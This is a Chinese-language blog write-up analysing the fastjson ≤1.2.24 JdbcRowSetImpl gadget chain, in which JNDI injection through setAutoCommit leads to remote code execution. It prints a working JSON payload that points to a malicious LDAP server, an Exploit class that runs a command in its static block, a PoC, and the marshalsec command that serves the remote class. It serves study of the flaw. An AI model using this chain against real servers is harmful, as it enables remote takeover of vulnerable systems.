前言
上文分析了TemplatesImpl利用鏈,對fastjson parseObject函式進行了分析,明白了整個觸發漏洞的流程,接著來學習JdbcRowSetImpl 利用鏈,JdbcRowSetImpl的利用鏈在實際運用中較為廣泛,這個鏈基本沒啥限制條件,只需要Json.parse(input)即可進行命令執行,這條鏈主要利用了setAutoCommit方法呼叫InitialContext.lookup并且引數是未經過濾dataSourceName,導致JNDI注入,造成命令執行,其中涉及了JDNI注入 + RMI/LDAP 的知識,再前文也簡單分析過JNDI+RMI/JNDI+LDAP的利用,如果不明白可以參考前文JNDI注入(RMI攻擊實作和LDAP攻擊實作)
JdbcRowSetImpl限制條件
主要限制的因素是jdk版本,個人版本為jdk1.8.0_121
基于RMI利用的JDK版本 ≤ 6u141、7u131、8u121
基于LDAP利用的JDK版本 ≤ 6u211、7u201、8u191,

攻擊流程
首先是這個lookup(URI)引數可控
攻擊者控制URI引數為指定為惡意的一個RMI服務
攻擊者RMI服務器向目標回傳一個Reference物件,Reference物件中指定某個精心構造的Factory類;
目標在進行lookup()操作時,會動態加載并實體化Factory類,接著呼叫factory.getObjectInstance()獲取外部遠程物件實體;
攻擊者可以在Factory類檔案的靜態代碼塊處寫入惡意代碼,達到RCE的效果;
原始碼分析
影響版本:fastjson<=1.2.24
payload:
{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:1389/#Exploit", "autoCommit":true}
Exploit代碼,需要編譯成class檔案放到web服務中去:
import java.io.IOException;
public class Exploit {
public Exploit() {
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
poc代碼:
package org.example.fastjson.JdbcRowSetImpl;
import com.sun.rowset.JdbcRowSetImpl;
import com.alibaba.fastjson.JSON;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.RemoteException;
public class Poc {
public static void main(String[] args) throws Exception {
String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"ldap://127.0.0.1:1389/#Exploit\", \"autoCommit\":true}";
JSON.parse(PoC);
}
}
啟動LDAP服務端:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/#Exploit 1389
從前文的TemplatesImpl鏈分析中得知FastJson在反序列化時會去呼叫get、set、is方法,
下面分析payload中的幾個引數
@type:反序列化類名;
dataSourceName:RMI注冊中心系結惡意服務;
autoCommit:在Fastjson JdbcRowSetImpl鏈中反序列化時,會去呼叫setAutoCommit方法,方法中可呼叫lookup方法

payload中的dataSourceName引數在決議時候則會呼叫setDataSourceName對DataSourceName變數進行賦值,來看到代碼

fastjson呼叫set方法時,通過super.setDataSourceName(var1)方法把DataSourceName的值設定為ldap://127.0.0.1:1389/#Exploit
autoCommit也一樣會呼叫setAutoCommit

setAutoCommit會呼叫this.connect()方法,跟進

lookup中則是傳入了this.getDataSourceName(),回傳dataSource變數內容,而這個dataSource內容則是在前面setDataSourceName方法中進行設定的,該引數是可控的,所以可以進行JDNI注入從而達到命令執行,
TemplatesImpl 鏈 優點:當fastjson不出網的時候可以直接進行盲打(配合時延的命令來判斷命令是否執行成功) 缺點:版本限制 1.2.22 起才有SupportNonPublicField特性,并且后端開發需要特定陳述句才能夠觸發,在使用parseObject的時候,必須要使用 JSON.parseObject(input, Object.class, Feature.SupportNonPublicField)
JdbcRowSetImpl 鏈的優點:利用范圍更廣,即觸發更為容易 ;缺點:當fastjson 不出網的話這個方法基本上也是無法使用的了,同時高版本jdk中codebase默認為true,這樣意味著,我們只能加載受信任的地址,
后續呢,有高于1.2.25的版本繞過,這里給自己留個坑,等分析研究之后再回來補這個坑
https://drops.blbana.cc/2020/04/16/Fastjson-JdbcRowSetImpl%E5%88%A9%E7%94%A8%E9%93%BE/
https://blog.csdn.net/qq_41918771/article/details/118669304?spm=1001.2014.3001.5501
https://www.cnblogs.com/nice0e3/p/14776043.html#0x00-%E5%89%8D%E8%A8%80
https://reader-l.github.io/2021/04/24/Java%E5%AE%89%E5%85%A8-FastJson%E4%B9%8BJdbcRowSetImpl%E9%93%BE%E5%88%86%E6%9E%90/
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/397557.html
標籤:其他
